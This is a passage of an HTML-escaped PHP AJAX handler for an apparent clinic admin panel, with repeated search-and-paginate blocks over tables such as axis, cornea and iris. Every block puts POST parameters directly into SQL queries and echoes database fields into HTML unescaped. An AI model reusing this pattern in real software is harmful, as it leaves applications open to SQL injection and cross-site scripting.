        $query .= &quot; ORDER BY `durationId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['durationId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;duration.php?id='.base64_encode($row['durationId']).'&quot; onclick=&quot;updateData('.$row['durationId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['durationId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-master_axis') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_axis` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `axis` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `axisId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['axisId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['axis'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;master_axis.php?id='.base64_encode($row['axisId']).'&quot; onclick=&quot;updateData('.$row['axisId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['axisId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-master_NCT_info') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_master_nct` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `nctId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['nctId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;master_NCT_info.php?id='.base64_encode($row['nctId']).'&quot; onclick=&quot;updateData('.$row['nctId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['nctId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-master_sph_cyl_info') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_master_sph_cyl` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `scId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['scId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['value'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;master_sph_cyl_info.php?id='.base64_encode($row['scId']).'&quot; onclick=&quot;updateData('.$row['scId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['scId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;4&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-master_Vn_info') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_master_vn` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `vnId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['vnId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;master_Vn_info.php?id='.base64_encode($row['vnId']).'&quot; onclick=&quot;updateData('.$row['vnId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['vnId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-master_Vn_st_info') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_master_vnst` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `vnstId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['vnstId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;master_Vn_st_info.php?id='.base64_encode($row['vnstId']).'&quot; onclick=&quot;updateData('.$row['vnstId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['vnstId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-master_Vn_gl_info') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_master_vngl` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `vnglId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['vnglId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;master_Vn_gl_info.php?id='.base64_encode($row['vnglId']).'&quot; onclick=&quot;updateData('.$row['vnglId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['vnglId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-master_pn_Vn_info') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_master_pnvn` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `pnvnId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['pnvnId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;master_pn_Vn_info.php?id='.base64_encode($row['pnvnId']).'&quot; onclick=&quot;updateData('.$row['pnvnId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['pnvnId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-master_nr_Vn_info') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_master_nrvn` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `nrvnId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['nrvnId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;master_nr_Vn_info.php?id='.base64_encode($row['nrvnId']).'&quot; onclick=&quot;updateData('.$row['nrvnId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['nrvnId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-sac') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_sac` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `sacId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['sacId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;sac.php?id='.base64_encode($row['sacId']).'&quot; onclick=&quot;updateData('.$row['sacId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['sacId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-lid') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_lid` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `lidId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['lidId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;lid.php?id='.base64_encode($row['lidId']).'&quot; onclick=&quot;updateData('.$row['lidId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['lidId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-conj') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_conj` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `conjId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['conjId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;conj.php?id='.base64_encode($row['conjId']).'&quot; onclick=&quot;updateData('.$row['conjId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['conjId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-cornea') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_cornea` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `corneaId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['corneaId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;cornea.php?id='.base64_encode($row['corneaId']).'&quot; onclick=&quot;updateData('.$row['corneaId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['corneaId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-ac') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_ac` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `acId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['acId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;ac.php?id='.base64_encode($row['acId']).'&quot; onclick=&quot;updateData('.$row['acId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['acId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-iris') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_iris` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `irisId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['irisId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;iris.php?id='.base64_encode($row['irisId']).'&quot; onclick=&quot;updateData('.$row['irisId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['irisId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
